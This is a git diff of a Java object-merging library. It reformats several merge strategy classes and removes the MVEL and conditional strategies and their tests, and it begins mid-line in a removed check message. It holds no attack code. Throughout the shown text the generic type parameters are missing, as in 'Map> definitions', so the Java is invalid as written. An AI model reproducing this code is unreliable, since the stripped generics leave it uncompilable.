variableName - + "' contains a dangerous object of type " - + className); - } - } - } -} diff --git a/objectmerger/src/main/java/de/x132/objectmerger/strategy/nested/NestedFieldDefinition.java b/objectmerger/src/main/java/de/x132/objectmerger/strategy/nested/NestedFieldDefinition.java index 07ffec9..9f7fbf3 100644 --- a/objectmerger/src/main/java/de/x132/objectmerger/strategy/nested/NestedFieldDefinition.java +++ b/objectmerger/src/main/java/de/x132/objectmerger/strategy/nested/NestedFieldDefinition.java @@ -15,5 +15,5 @@ @AllArgsConstructor @EqualsAndHashCode(callSuper = true) public class NestedFieldDefinition extends FieldDefinition { - @Builder.Default private MergeDefinition nestedDefinition = new MergeDefinition(); + @Builder.Default private MergeDefinition nestedDefinition = new MergeDefinition(); } diff --git a/objectmerger/src/main/java/de/x132/objectmerger/strategy/nested/NestedMergeStrategy.java b/objectmerger/src/main/java/de/x132/objectmerger/strategy/nested/NestedMergeStrategy.java index 68fd972..f9bdb93 100644 --- a/objectmerger/src/main/java/de/x132/objectmerger/strategy/nested/NestedMergeStrategy.java +++ b/objectmerger/src/main/java/de/x132/objectmerger/strategy/nested/NestedMergeStrategy.java @@ -9,86 +9,87 @@ public class NestedMergeStrategy implements MergeStrategy> { - public static final String NAME = "nested"; - - @Override - public String getName() { - return NAME; - } - - @SuppressWarnings("unchecked") - @Override - public Class> getConfigurationClass() { - return (Class) NestedFieldDefinition.class; - } - - @Override - @SuppressWarnings("unchecked") - public T merge( - List> sources, NestedFieldDefinition fieldDef, String fieldName) { - if (sources.isEmpty()) { - return fieldDef.getDefaultValue(); + public static final String NAME = "nested"; + + @Override + public String getName() { + return NAME; } - // Extract field values from sources - List> nestedSources = - sources.stream() - .map( - s -> { - Object val = ObjectMerger.getFieldValue(s.getSource(), fieldName); - return new LabeledSource<>(s.getLabel(), val); - }) - .collect(java.util.stream.Collectors.toList()); - - // Determine target class from the first non-null nested source - Object firstNonNull = - nestedSources.stream() - .map(LabeledSource::getSource) - .filter(java.util.Objects::nonNull) - .findFirst() - .orElse(null); - - if (firstNonNull == null) { - return fieldDef.getDefaultValue(); + @SuppressWarnings("unchecked") + @Override + public Class> getConfigurationClass() { + return (Class) NestedFieldDefinition.class; } - Class targetClass = firstNonNull.getClass(); - - // Prepare nested definition - MergeDefinition nestedDef = fieldDef.getNestedDefinition(); - - // If nested definition is empty, we must rely on Template Mode for discovery! - // We can synthesize a Template Source Label if we want to force one source to - // be the template? - // Or we just let ObjectMerger handle it. - // Wait, if 'nestedDef' is empty, ObjectMerger will look for 'definitions'. - // If that is empty, it returns empty object (unless template mode is ON). - - // Feature Idea: - // If nestedDefinition has NO templateSource set, but we have sources here, - // should we imply one? - // Let's explicitly support Template Mode in Recursive Field Def? - // Or just say: If you want auto-discovery, set 'templateSourceLabel' in - // 'nestedDefinition'. - // That's cleaner. - - // HOWEVER: We have sources interacting dynamically here. - // The main ObjectMerger loop doesn't pass 'definitions' down automatically - // unless we do it here. - // But 'nestedDef' IS that definition. - - // Cast sources to LabeledSource - LabeledSource[] castSources = - (LabeledSource[]) - nestedSources.stream() - .map(s -> new LabeledSource<>(s.getLabel(), (T) s.getSource())) - .toArray(LabeledSource[]::new); - - try { - Class typedClass = (Class) targetClass; - return ObjectMerger.merge(typedClass, nestedDef, castSources); - } catch (Exception e) { - throw new MergeExecutionException("Recursive merge failed for field " + fieldName, e); + @Override + @SuppressWarnings("unchecked") + public T merge( + List> sources, NestedFieldDefinition fieldDef, String fieldName) { + if (sources.isEmpty()) { + return fieldDef.getDefaultValue(); + } + + // Extract field values from sources + List> nestedSources = + sources.stream() + .map( + s -> { + Object val = + ObjectMerger.getFieldValue(s.getSource(), fieldName); + return new LabeledSource<>(s.getLabel(), val); + }) + .collect(java.util.stream.Collectors.toList()); + + // Determine target class from the first non-null nested source + Object firstNonNull = + nestedSources.stream() + .map(LabeledSource::getSource) + .filter(java.util.Objects::nonNull) + .findFirst() + .orElse(null); + + if (firstNonNull == null) { + return fieldDef.getDefaultValue(); + } + + Class targetClass = firstNonNull.getClass(); + + // Prepare nested definition + MergeDefinition nestedDef = fieldDef.getNestedDefinition(); + + // If nested definition is empty, we must rely on Template Mode for discovery! + // We can synthesize a Template Source Label if we want to force one source to + // be the template? + // Or we just let ObjectMerger handle it. + // Wait, if 'nestedDef' is empty, ObjectMerger will look for 'definitions'. + // If that is empty, it returns empty object (unless template mode is ON). + + // Feature Idea: + // If nestedDefinition has NO templateSource set, but we have sources here, + // should we imply one? + // Let's explicitly support Template Mode in Recursive Field Def? + // Or just say: If you want auto-discovery, set 'templateSourceLabel' in + // 'nestedDefinition'. + // That's cleaner. + + // HOWEVER: We have sources interacting dynamically here. + // The main ObjectMerger loop doesn't pass 'definitions' down automatically + // unless we do it here. + // But 'nestedDef' IS that definition. + + // Cast sources to LabeledSource + LabeledSource[] castSources = + (LabeledSource[]) + nestedSources.stream() + .map(s -> new LabeledSource<>(s.getLabel(), (T) s.getSource())) + .toArray(LabeledSource[]::new); + + try { + Class typedClass = (Class) targetClass; + return ObjectMerger.merge(typedClass, nestedDef, castSources); + } catch (Exception e) { + throw new MergeExecutionException("Recursive merge failed for field " + fieldName, e); + } } - } } diff --git a/objectmerger/src/main/java/de/x132/objectmerger/strategy/priority/PriorityFieldDefinition.java b/objectmerger/src/main/java/de/x132/objectmerger/strategy/priority/PriorityFieldDefinition.java index 6bc2590..ef27e35 100644 --- a/objectmerger/src/main/java/de/x132/objectmerger/strategy/priority/PriorityFieldDefinition.java +++ b/objectmerger/src/main/java/de/x132/objectmerger/strategy/priority/PriorityFieldDefinition.java @@ -15,5 +15,5 @@ @AllArgsConstructor @EqualsAndHashCode(callSuper = true) public class PriorityFieldDefinition extends FieldDefinition implements Prioritizable { - private Map priority; + private Map priority; } diff --git a/objectmerger/src/main/java/de/x132/objectmerger/strategy/priority/PriorityMergeStrategy.java b/objectmerger/src/main/java/de/x132/objectmerger/strategy/priority/PriorityMergeStrategy.java index d77cb11..3748686 100644 --- a/objectmerger/src/main/java/de/x132/objectmerger/strategy/priority/PriorityMergeStrategy.java +++ b/objectmerger/src/main/java/de/x132/objectmerger/strategy/priority/PriorityMergeStrategy.java @@ -11,44 +11,48 @@ public class PriorityMergeStrategy implements MergeStrategy> { - public static final String NAME = "priority"; - - @Override - public String getName() { - return NAME; - } - - @SuppressWarnings("unchecked") - @Override - public Class> getConfigurationClass() { - return (Class) PriorityFieldDefinition.class; - } - - @Override - public T merge( - List> sources, PriorityFieldDefinition fieldDef, String fieldName) { - return merge(sources, (Prioritizable) fieldDef, fieldName, fieldDef.getDefaultValue()); - } - - @SuppressWarnings("unchecked") - private T merge( - List> sources, Prioritizable config, String fieldName, T defaultValue) { - Map priorityMap = config.getPriority(); - - if (priorityMap == null || priorityMap.isEmpty()) { - throw new ConfigurationException("PriorityMergeStrategy requires a non-empty priority map"); + public static final String NAME = "priority"; + + @Override + public String getName() { + return NAME; + } + + @SuppressWarnings("unchecked") + @Override + public Class> getConfigurationClass() { + return (Class) PriorityFieldDefinition.class; } - // If priority is defined, consider ONLY sources explicitly listed in the - // priority map. - // This enforces "one source per property" semantics: unspecified sources are - // ignored. - return (T) - sources.stream() - .filter(s -> priorityMap.containsKey(s.getLabel())) - .filter(s -> ObjectMerger.getFieldValue(s.getSource(), fieldName) != null) - .min(Comparator.comparingInt(s -> priorityMap.get(s.getLabel()))) - .map(source -> ObjectMerger.getFieldValue(source.getSource(), fieldName)) - .orElse(defaultValue); - } + @Override + public T merge( + List> sources, PriorityFieldDefinition fieldDef, String fieldName) { + return merge(sources, (Prioritizable) fieldDef, fieldName, fieldDef.getDefaultValue()); + } + + @SuppressWarnings("unchecked") + private T merge( + List> sources, + Prioritizable config, + String fieldName, + T defaultValue) { + Map priorityMap = config.getPriority(); + + if (priorityMap == null || priorityMap.isEmpty()) { + throw new ConfigurationException( + "PriorityMergeStrategy requires a non-empty priority map"); + } + + // If priority is defined, consider ONLY sources explicitly listed in the + // priority map. + // This enforces "one source per property" semantics: unspecified sources are + // ignored. + return (T) + sources.stream() + .filter(s -> priorityMap.containsKey(s.getLabel())) + .filter(s -> ObjectMerger.getFieldValue(s.getSource(), fieldName) != null) + .min(Comparator.comparingInt(s -> priorityMap.get(s.getLabel()))) + .map(source -> ObjectMerger.getFieldValue(source.getSource(), fieldName)) + .orElse(defaultValue); + } } diff --git a/objectmerger/src/main/java/de/x132/objectmerger/strategy/standard/StandardMergeStrategy.java b/objectmerger/src/main/java/de/x132/objectmerger/strategy/standard/StandardMergeStrategy.java index 3867cdb..cad368e 100644 --- a/objectmerger/src/main/java/de/x132/objectmerger/strategy/standard/StandardMergeStrategy.java +++ b/objectmerger/src/main/java/de/x132/objectmerger/strategy/standard/StandardMergeStrategy.java @@ -9,30 +9,30 @@ public class StandardMergeStrategy implements MergeStrategy> { - public static final String NAME = "standard"; + public static final String NAME = "standard"; - @Override - public String getName() { - return NAME; - } - - @SuppressWarnings("unchecked") - @Override - public Class> getConfigurationClass() { - return (Class) FieldDefinition.class; - } + @Override + public String getName() { + return NAME; + } - @Override - public T merge(List> sources, FieldDefinition fieldDef, String fieldName) { - if (sources.isEmpty()) { - return fieldDef.getDefaultValue(); + @SuppressWarnings("unchecked") + @Override + public Class> getConfigurationClass() { + return (Class) FieldDefinition.class; } - return (T) - sources.stream() - .map(source -> ObjectMerger.getFieldValue(source.getSource(), fieldName)) - .filter(Objects::nonNull) - .findFirst() - .orElse(fieldDef.getDefaultValue()); - } + @Override + public T merge(List> sources, FieldDefinition fieldDef, String fieldName) { + if (sources.isEmpty()) { + return fieldDef.getDefaultValue(); + } + + return (T) + sources.stream() + .map(source -> ObjectMerger.getFieldValue(source.getSource(), fieldName)) + .filter(Objects::nonNull) + .findFirst() + .orElse(fieldDef.getDefaultValue()); + } } diff --git a/objectmerger/src/main/java/de/x132/objectmerger/strategy/sum/SumValueStrategy.java b/objectmerger/src/main/java/de/x132/objectmerger/strategy/sum/SumValueStrategy.java index e33a5ed..861787e 100644 --- a/objectmerger/src/main/java/de/x132/objectmerger/strategy/sum/SumValueStrategy.java +++ b/objectmerger/src/main/java/de/x132/objectmerger/strategy/sum/SumValueStrategy.java @@ -9,75 +9,75 @@ public class SumValueStrategy implements MergeStrategy> { - public static final String NAME = "sum"; + public static final String NAME = "sum"; - @Override - public String getName() { - return NAME; - } + @Override + public String getName() { + return NAME; + } - @SuppressWarnings("unchecked") - @Override - public Class> getConfigurationClass() { - return (Class) FieldDefinition.class; - } + @SuppressWarnings("unchecked") + @Override + public Class> getConfigurationClass() { + return (Class) FieldDefinition.class; + } - @Override - public Number merge( - List> sources, FieldDefinition fieldDef, String fieldName) { - BigDecimal sum = BigDecimal.ZERO; - boolean hasValue = false; + @Override + public Number merge( + List> sources, FieldDefinition fieldDef, String fieldName) { + BigDecimal sum = BigDecimal.ZERO; + boolean hasValue = false; - for (LabeledSource source : sources) { - Object value = ObjectMerger.getFieldValue(source.getSource(), fieldName); + for (LabeledSource source : sources) { + Object value = ObjectMerger.getFieldValue(source.getSource(), fieldName); - if (value != null) { - hasValue = true; - BigDecimal numericValue = convertToBigDecimal(value); - if (numericValue != null) { - sum = sum.add(numericValue); + if (value != null) { + hasValue = true; + BigDecimal numericValue = convertToBigDecimal(value); + if (numericValue != null) { + sum = sum.add(numericValue); + } + } } - } - } - if (!hasValue) { - return fieldDef != null ? (Number) fieldDef.getDefaultValue() : 0; - } + if (!hasValue) { + return fieldDef != null ? (Number) fieldDef.getDefaultValue() : 0; + } - // Rückgabe als Integer oder Long wenn möglich, sonst BigDecimal - if (sum.scale() <= 0) { - try { - return sum.intValueExact(); - } catch (ArithmeticException e) { - try { - return sum.longValueExact(); - } catch (ArithmeticException ex) { - return sum; + // Rückgabe als Integer oder Long wenn möglich, sonst BigDecimal + if (sum.scale() <= 0) { + try { + return sum.intValueExact(); + } catch (ArithmeticException e) { + try { + return sum.longValueExact(); + } catch (ArithmeticException ex) { + return sum; + } + } } - } - } - return sum.doubleValue(); - } + return sum.doubleValue(); + } - private BigDecimal convertToBigDecimal(Object value) { - if (value instanceof BigDecimal) { - return (BigDecimal) value; - } else if (value instanceof Integer) { - return BigDecimal.valueOf((Integer) value); - } else if (value instanceof Long) { - return BigDecimal.valueOf((Long) value); - } else if (value instanceof Double) { - return BigDecimal.valueOf((Double) value); - } else if (value instanceof Float) { - return BigDecimal.valueOf((Float) value); - } else if (value instanceof String) { - try { - return new BigDecimal((String) value); - } catch (NumberFormatException e) { + private BigDecimal convertToBigDecimal(Object value) { + if (value instanceof BigDecimal) { + return (BigDecimal) value; + } else if (value instanceof Integer) { + return BigDecimal.valueOf((Integer) value); + } else if (value instanceof Long) { + return BigDecimal.valueOf((Long) value); + } else if (value instanceof Double) { + return BigDecimal.valueOf((Double) value); + } else if (value instanceof Float) { + return BigDecimal.valueOf((Float) value); + } else if (value instanceof String) { + try { + return new BigDecimal((String) value); + } catch (NumberFormatException e) { + return null; + } + } return null; - } } - return null; - } } diff --git a/objectmerger/src/main/resources/META-INF/services/de.x132.objectmerger.strategy.MergeStrategy b/objectmerger/src/main/resources/META-INF/services/de.x132.objectmerger.strategy.MergeStrategy index 5ed8117..9ec9626 100644 --- a/objectmerger/src/main/resources/META-INF/services/de.x132.objectmerger.strategy.MergeStrategy +++ b/objectmerger/src/main/resources/META-INF/services/de.x132.objectmerger.strategy.MergeStrategy @@ -8,6 +8,6 @@ de.x132.objectmerger.strategy.average.AverageValueStrategy de.x132.objectmerger.strategy.concatenate.ConcatenateStrategy de.x132.objectmerger.strategy.minimum.MinimumValueStrategy de.x132.objectmerger.strategy.maximum.MaximumValueStrategy -de.x132.objectmerger.strategy.mvel.MvelMergeStrategy -de.x132.objectmerger.strategy.conditional.ConditionalMergeStrategy + + de.x132.objectmerger.strategy.nested.NestedMergeStrategy diff --git a/objectmerger/src/test/java/de/x132/doc/DocumentationVerificationTest.java b/objectmerger/src/test/java/de/x132/doc/DocumentationVerificationTest.java index dcc5a2e..7e80d41 100644 --- a/objectmerger/src/test/java/de/x132/doc/DocumentationVerificationTest.java +++ b/objectmerger/src/test/java/de/x132/doc/DocumentationVerificationTest.java @@ -10,17 +10,12 @@ import de.x132.objectmerger.strategy.FieldDefinition; import de.x132.objectmerger.strategy.average.AverageValueStrategy; import de.x132.objectmerger.strategy.concatenate.ConcatenateStrategy; -import de.x132.objectmerger.strategy.conditional.ConditionCase; -import de.x132.objectmerger.strategy.conditional.ConditionalFieldDefinition; -import de.x132.objectmerger.strategy.conditional.ConditionalMergeStrategy; import de.x132.objectmerger.strategy.list.ListFieldDefinition; import de.x132.objectmerger.strategy.list.ListMergeStrategy; import de.x132.objectmerger.strategy.map.MapFieldDefinition; import de.x132.objectmerger.strategy.map.MapMergeStrategy; import de.x132.objectmerger.strategy.maximum.MaximumValueStrategy; import de.x132.objectmerger.strategy.minimum.MinimumValueStrategy; -import de.x132.objectmerger.strategy.mvel.MvelFieldDefinition; -import de.x132.objectmerger.strategy.mvel.MvelMergeStrategy; import de.x132.objectmerger.strategy.priority.PriorityFieldDefinition; import de.x132.objectmerger.strategy.priority.PriorityMergeStrategy; import de.x132.objectmerger.strategy.standard.StandardFieldDefinition; @@ -34,379 +29,295 @@ public class DocumentationVerificationTest { - @Test - void verifyStandardStrategy() { - Map source1 = new HashMap<>(); - source1.put("title", "Legacy System"); + @Test + void verifyStandardStrategy() { + Map source1 = new HashMap<>(); + source1.put("title", "Legacy System"); - Map source2 = new HashMap<>(); - source2.put("title", "New System"); + Map source2 = new HashMap<>(); + source2.put("title", "New System"); - StandardFieldDefinition titleDef = - StandardFieldDefinition.builder() - .strategy(StandardMergeStrategy.NAME) - .defaultValue("Unknown") - .build(); + StandardFieldDefinition titleDef = + StandardFieldDefinition.builder() + .strategy(StandardMergeStrategy.NAME) + .defaultValue("Unknown") + .build(); - Map> definitions = new HashMap<>(); - definitions.put("title", titleDef); + Map> definitions = new HashMap<>(); + definitions.put("title", titleDef); - MergeDefinition mergeDefinition = new MergeDefinition(definitions); + MergeDefinition mergeDefinition = new MergeDefinition(definitions); - Map result = - ObjectMerger.merge( - mergeDefinition, - new LabeledSource<>("json1", source1), - new LabeledSource<>("json2", source2)); + Map result = + ObjectMerger.merge( + mergeDefinition, + new LabeledSource<>("json1", source1), + new LabeledSource<>("json2", source2)); - assertEquals("Legacy System", result.get("title")); - } + assertEquals("Legacy System", result.get("title")); + } - @Test - void verifySumStrategy() { - Map source1 = new HashMap<>(); - source1.put("score", 10); + @Test + void verifySumStrategy() { + Map source1 = new HashMap<>(); + source1.put("score", 10); - Map source2 = new HashMap<>(); - source2.put("score", 20); + Map source2 = new HashMap<>(); + source2.put("score", 20); - StandardFieldDefinition scoreDef = - StandardFieldDefinition.builder() - .strategy(SumValueStrategy.NAME) - .defaultValue(0) - .build(); + StandardFieldDefinition scoreDef = + StandardFieldDefinition.builder() + .strategy(SumValueStrategy.NAME) + .defaultValue(0) + .build(); - Map> definitions = new HashMap<>(); - definitions.put("score", scoreDef); + Map> definitions = new HashMap<>(); + definitions.put("score", scoreDef); - MergeDefinition mergeDefinition = new MergeDefinition(definitions); + MergeDefinition mergeDefinition = new MergeDefinition(definitions); - Map result = - ObjectMerger.merge( - mergeDefinition, - new LabeledSource<>("json1", source1), - new LabeledSource<>("json2", source2)); + Map result = + ObjectMerger.merge( + mergeDefinition, + new LabeledSource<>("json1", source1), + new LabeledSource<>("json2", source2)); - assertEquals(30, result.get("score")); - } + assertEquals(30, result.get("score")); + } - @Test - void verifyConcatenateStrategy() { - Map source1 = new HashMap<>(); - source1.put("tags", "tag1"); + @Test + void verifyConcatenateStrategy() { + Map source1 = new HashMap<>(); + source1.put("tags", "tag1"); - Map source2 = new HashMap<>(); - source2.put("tags", "tag2"); + Map source2 = new HashMap<>(); + source2.put("tags", "tag2"); - StandardFieldDefinition tagsDef = - StandardFieldDefinition.builder() - .strategy(ConcatenateStrategy.NAME) - .defaultValue("") - .build(); + StandardFieldDefinition tagsDef = + StandardFieldDefinition.builder() + .strategy(ConcatenateStrategy.NAME) + .defaultValue("") + .build(); - Map> definitions = new HashMap<>(); - definitions.put("tags", tagsDef); + Map> definitions = new HashMap<>(); + definitions.put("tags", tagsDef); - MergeDefinition mergeDefinition = new MergeDefinition(definitions); + MergeDefinition mergeDefinition = new MergeDefinition(definitions); - Map result = - ObjectMerger.merge( - mergeDefinition, - new LabeledSource<>("json1", source1), - new LabeledSource<>("json2", source2)); + Map result = + ObjectMerger.merge( + mergeDefinition, + new LabeledSource<>("json1", source1), + new LabeledSource<>("json2", source2)); - assertEquals("tag1,tag2", result.get("tags")); - } + assertEquals("tag1,tag2", result.get("tags")); + } - @Test - void verifyMaximumStrategy() { - Map source1 = new HashMap<>(); - source1.put("level", 5); + @Test + void verifyMaximumStrategy() { + Map source1 = new HashMap<>(); + source1.put("level", 5); - Map source2 = new HashMap<>(); - source2.put("level", 8); + Map source2 = new HashMap<>(); + source2.put("level", 8); - StandardFieldDefinition levelDef = - StandardFieldDefinition.builder() - .strategy(MaximumValueStrategy.NAME) - .defaultValue(0) - .build(); + StandardFieldDefinition levelDef = + StandardFieldDefinition.builder() + .strategy(MaximumValueStrategy.NAME) + .defaultValue(0) + .build(); - Map> definitions = new HashMap<>(); - definitions.put("level", levelDef); + Map> definitions = new HashMap<>(); + definitions.put("level", levelDef); - MergeDefinition mergeDefinition = new MergeDefinition(definitions); + MergeDefinition mergeDefinition = new MergeDefinition(definitions); - Map result = - ObjectMerger.merge( - mergeDefinition, - new LabeledSource<>("json1", source1), - new LabeledSource<>("json2", source2)); - - assertEquals(8, result.get("level")); - } - - @Test - void verifyMinimumStrategy() { - Map source1 = new HashMap<>(); - source1.put("price", 99.99); - - Map source2 = new HashMap<>(); - source2.put("price", 45.50); - - StandardFieldDefinition priceDef = - StandardFieldDefinition.builder() - .strategy(MinimumValueStrategy.NAME) - .defaultValue(0.0) - .build(); - - Map> definitions = new HashMap<>(); - definitions.put("price", priceDef); - - MergeDefinition mergeDefinition = new MergeDefinition(definitions); - - Map result = - ObjectMerger.merge( - mergeDefinition, - new LabeledSource<>("json1", source1), - new LabeledSource<>("json2", source2)); - - assertEquals(45.50, result.get("price")); - } - - @Test - void verifyAverageStrategy() { - Map source1 = new HashMap<>(); - source1.put("rating", 4.0); - - Map source2 = new HashMap<>(); - source2.put("rating", 5.0); - - StandardFieldDefinition ratingDef = - StandardFieldDefinition.builder() - .strategy(AverageValueStrategy.NAME) - .defaultValue(0.0) - .build(); - - Map> definitions = new HashMap<>(); - definitions.put("rating", ratingDef); - - MergeDefinition mergeDefinition = new MergeDefinition(definitions); - - Map result = - ObjectMerger.merge( - mergeDefinition, - new LabeledSource<>("json1", source1), - new LabeledSource<>("json2", source2)); - - assertEquals(4.5, result.get("rating")); - } - - @Test - void verifyPriorityStrategy() { - Map source1 = new HashMap<>(); - source1.put("status", "DRAFT"); - - Map source2 = new HashMap<>(); - source2.put("status", "PUBLISHED"); - - Map priorities = new HashMap<>(); - priorities.put("json2", 1); - priorities.put("json1", 2); - - PriorityFieldDefinition statusDef = - PriorityFieldDefinition.builder() - .strategy(PriorityMergeStrategy.NAME) - .defaultValue("UNKNOWN") - .priority(priorities) - .build(); - - Map> definitions = new HashMap<>(); - definitions.put("status", statusDef); - - MergeDefinition mergeDefinition = new MergeDefinition(definitions); - - Map result = - ObjectMerger.merge( - mergeDefinition, - new LabeledSource<>("json1", source1), - new LabeledSource<>("json2", source2)); - - assertEquals("PUBLISHED", result.get("status")); - } - - @Test - void verifyConditionalStrategy() { - Map source1 = new HashMap<>(); - source1.put("age", 18); - source1.put("category", "adult"); - - Map source2 = new HashMap<>(); - source2.put("age", 18); - source2.put("category", "minor"); - - ConditionCase adultCase = new ConditionCase<>(); - adultCase.setCondition("values['json1'] == 'adult'"); - - Map p = new HashMap<>(); - p.put("json1", 1); - p.put("json2", 2); - - PriorityFieldDefinition priorityDef = - PriorityFieldDefinition.builder() - .strategy(PriorityMergeStrategy.NAME) - .priority(p) - .build(); - - adultCase.setUseStrategy(priorityDef); - - List> cases = new ArrayList<>(); - cases.add(adultCase); - - ConditionalFieldDefinition categoryDef = - ConditionalFieldDefinition.builder() - .strategy(ConditionalMergeStrategy.NAME) - .defaultValue("unknown") - .cases(cases) - .build(); - - StandardFieldDefinition defaultDef = - StandardFieldDefinition.builder() - .strategy(StandardMergeStrategy.NAME) - .defaultValue("fallback") - .build(); - categoryDef.setDefaultStrategy(defaultDef); - - Map> definitions = new HashMap<>(); - definitions.put("category", categoryDef); - - MergeDefinition mergeDefinition = new MergeDefinition(definitions); - - Map result = - ObjectMerger.merge( - mergeDefinition, - new LabeledSource<>("json1", source1), - new LabeledSource<>("json2", source2)); - - assertEquals("adult", result.get("category")); - } - - @Test - void verifyMvelStrategy() { - Map source1 = new HashMap<>(); - source1.put("price", 100); - source1.put("discount", 0.1); - - Map source2 = new HashMap<>(); - - MvelFieldDefinition finalPriceDef = - MvelFieldDefinition.builder() - .strategy(MvelMergeStrategy.NAME) - .expression("sources['json1']['price'] * (1.0 - sources['json1']['discount'])") - .defaultValue(0.0) - .build(); - - Map> definitions = new HashMap<>(); - definitions.put("finalPrice", finalPriceDef); - - MergeDefinition mergeDefinition = new MergeDefinition(definitions); - - Map result = - ObjectMerger.merge( - mergeDefinition, - new LabeledSource<>("json1", source1), - new LabeledSource<>("json2", source2)); - - Object val = result.get("finalPrice"); - assertEquals(90.0, ((Number) val).doubleValue(), 0.01); - } - - @SuppressWarnings("unchecked") - @Test - void verifyListStrategy() { - Map source1 = new HashMap<>(); - List> list1 = new ArrayList<>(); - Map item1 = new HashMap<>(); - item1.put("id", "1"); - item1.put("name", "Item 1"); - list1.add(item1); - source1.put("items", list1); - - Map source2 = new HashMap<>(); - List> list2 = new ArrayList<>(); - Map item2 = new HashMap<>(); - item2.put("id", "2"); - item2.put("name", "Item 2"); - list2.add(item2); - source2.put("items", list2); - - ListFieldDefinition> itemsDef = - ListFieldDefinition.>builder() - .strategy(ListMergeStrategy.NAME) - .identifyBy("id") - .build(); - - ItemMergeDefinition itemDef = new ItemMergeDefinition(); - Map> itemFields = new HashMap<>(); - - StandardFieldDefinition nameDef = - StandardFieldDefinition.builder() - .strategy(StandardMergeStrategy.NAME) - .defaultValue("Unknown Item") - .build(); - itemFields.put("name", nameDef); - - itemDef.setDefinitions(itemFields); - itemsDef.setItemMergeDefinition(itemDef); - - Map> definitions = new HashMap<>(); - definitions.put("items", itemsDef); - - MergeDefinition mergeDefinition = new MergeDefinition(definitions); - - Map result = - ObjectMerger.merge( - mergeDefinition, - new LabeledSource<>("json1", source1), - new LabeledSource<>("json2", source2)); - - List> resultList = (List>) result.get("items"); - assertEquals(2, resultList.size()); - boolean hasItem1 = resultList.stream().anyMatch(m -> "Item 1".equals(m.get("name"))); - boolean hasItem2 = resultList.stream().anyMatch(m -> "Item 2".equals(m.get("name"))); - assertTrue(hasItem1); - assertTrue(hasItem2); - } - - @SuppressWarnings("unchecked") - @Test - void verifyMapStrategy() { - Map source1 = new HashMap<>(); - Map map1 = new HashMap<>(); - map1.put("en", "Hello"); - source1.put("translations", map1); - - Map source2 = new HashMap<>(); - Map map2 = new HashMap<>(); - map2.put("de", "Hallo"); - source2.put("translations", map2); - - MapFieldDefinition> transDef = - MapFieldDefinition.>builder().strategy(MapMergeStrategy.NAME).build(); - - Map> definitions = new HashMap<>(); - definitions.put("translations", transDef); - - MergeDefinition mergeDefinition = new MergeDefinition(definitions); - - Map result = - ObjectMerger.merge( - mergeDefinition, - new LabeledSource<>("json1", source1), - new LabeledSource<>("json2", source2)); - - Map resultMap = (Map) result.get("translations"); - assertEquals("Hello", resultMap.get("en")); - assertEquals("Hallo", resultMap.get("de")); - } + Map result = + ObjectMerger.merge( + mergeDefinition, + new LabeledSource<>("json1", source1), + new LabeledSource<>("json2", source2)); + + assertEquals(8, result.get("level")); + } + + @Test + void verifyMinimumStrategy() { + Map source1 = new HashMap<>(); + source1.put("price", 99.99); + + Map source2 = new HashMap<>(); + source2.put("price", 45.50); + + StandardFieldDefinition priceDef = + StandardFieldDefinition.builder() + .strategy(MinimumValueStrategy.NAME) + .defaultValue(0.0) + .build(); + + Map> definitions = new HashMap<>(); + definitions.put("price", priceDef); + + MergeDefinition mergeDefinition = new MergeDefinition(definitions); + + Map result = + ObjectMerger.merge( + mergeDefinition, + new LabeledSource<>("json1", source1), + new LabeledSource<>("json2", source2)); + + assertEquals(45.50, result.get("price")); + } + + @Test + void verifyAverageStrategy() { + Map source1 = new HashMap<>(); + source1.put("rating", 4.0); + + Map source2 = new HashMap<>(); + source2.put("rating", 5.0); + + StandardFieldDefinition ratingDef = + StandardFieldDefinition.builder() + .strategy(AverageValueStrategy.NAME) + .defaultValue(0.0) + .build(); + + Map> definitions = new HashMap<>(); + definitions.put("rating", ratingDef); + + MergeDefinition mergeDefinition = new MergeDefinition(definitions); + + Map result = + ObjectMerger.merge( + mergeDefinition, + new LabeledSource<>("json1", source1), + new LabeledSource<>("json2", source2)); + + assertEquals(4.5, result.get("rating")); + } + + @Test + void verifyPriorityStrategy() { + Map source1 = new HashMap<>(); + source1.put("status", "DRAFT"); + + Map source2 = new HashMap<>(); + source2.put("status", "PUBLISHED"); + + Map priorities = new HashMap<>(); + priorities.put("json2", 1); + priorities.put("json1", 2); + + PriorityFieldDefinition statusDef = + PriorityFieldDefinition.builder() + .strategy(PriorityMergeStrategy.NAME) + .defaultValue("UNKNOWN") + .priority(priorities) + .build(); + + Map> definitions = new HashMap<>(); + definitions.put("status", statusDef); + + MergeDefinition mergeDefinition = new MergeDefinition(definitions); + + Map result = + ObjectMerger.merge( + mergeDefinition, + new LabeledSource<>("json1", source1), + new LabeledSource<>("json2", source2)); + + assertEquals("PUBLISHED", result.get("status")); + } + + @SuppressWarnings("unchecked") + @Test + void verifyListStrategy() { + Map source1 = new HashMap<>(); + List> list1 = new ArrayList<>(); + Map item1 = new HashMap<>(); + item1.put("id", "1"); + item1.put("name", "Item 1"); + list1.add(item1); + source1.put("items", list1); + + Map source2 = new HashMap<>(); + List> list2 = new ArrayList<>(); + Map item2 = new HashMap<>(); + item2.put("id", "2"); + item2.put("name", "Item 2"); + list2.add(item2); + source2.put("items", list2); + + ListFieldDefinition> itemsDef = + ListFieldDefinition.>builder() + .strategy(ListMergeStrategy.NAME) + .identifyBy("id") + .build(); + + ItemMergeDefinition itemDef = new ItemMergeDefinition(); + Map> itemFields = new HashMap<>(); + + StandardFieldDefinition nameDef = + StandardFieldDefinition.builder() + .strategy(StandardMergeStrategy.NAME) + .defaultValue("Unknown Item") + .build(); + itemFields.put("name", nameDef); + + itemDef.setDefinitions(itemFields); + itemsDef.setItemMergeDefinition(itemDef); + + Map> definitions = new HashMap<>(); + definitions.put("items", itemsDef); + + MergeDefinition mergeDefinition = new MergeDefinition(definitions); + + Map result = + ObjectMerger.merge( + mergeDefinition, + new LabeledSource<>("json1", source1), + new LabeledSource<>("json2", source2)); + + List> resultList = (List>) result.get("items"); + assertEquals(2, resultList.size()); + boolean hasItem1 = resultList.stream().anyMatch(m -> "Item 1".equals(m.get("name"))); + boolean hasItem2 = resultList.stream().anyMatch(m -> "Item 2".equals(m.get("name"))); + assertTrue(hasItem1); + assertTrue(hasItem2); + } + + @SuppressWarnings("unchecked") + @Test + void verifyMapStrategy() { + Map source1 = new HashMap<>(); + Map map1 = new HashMap<>(); + map1.put("en", "Hello"); + source1.put("translations", map1); + + Map source2 = new HashMap<>(); + Map map2 = new HashMap<>(); + map2.put("de", "Hallo"); + source2.put("translations", map2); + + MapFieldDefinition> transDef = + MapFieldDefinition.>builder() + .strategy(MapMergeStrategy.NAME) + .build(); + + Map> definitions = new 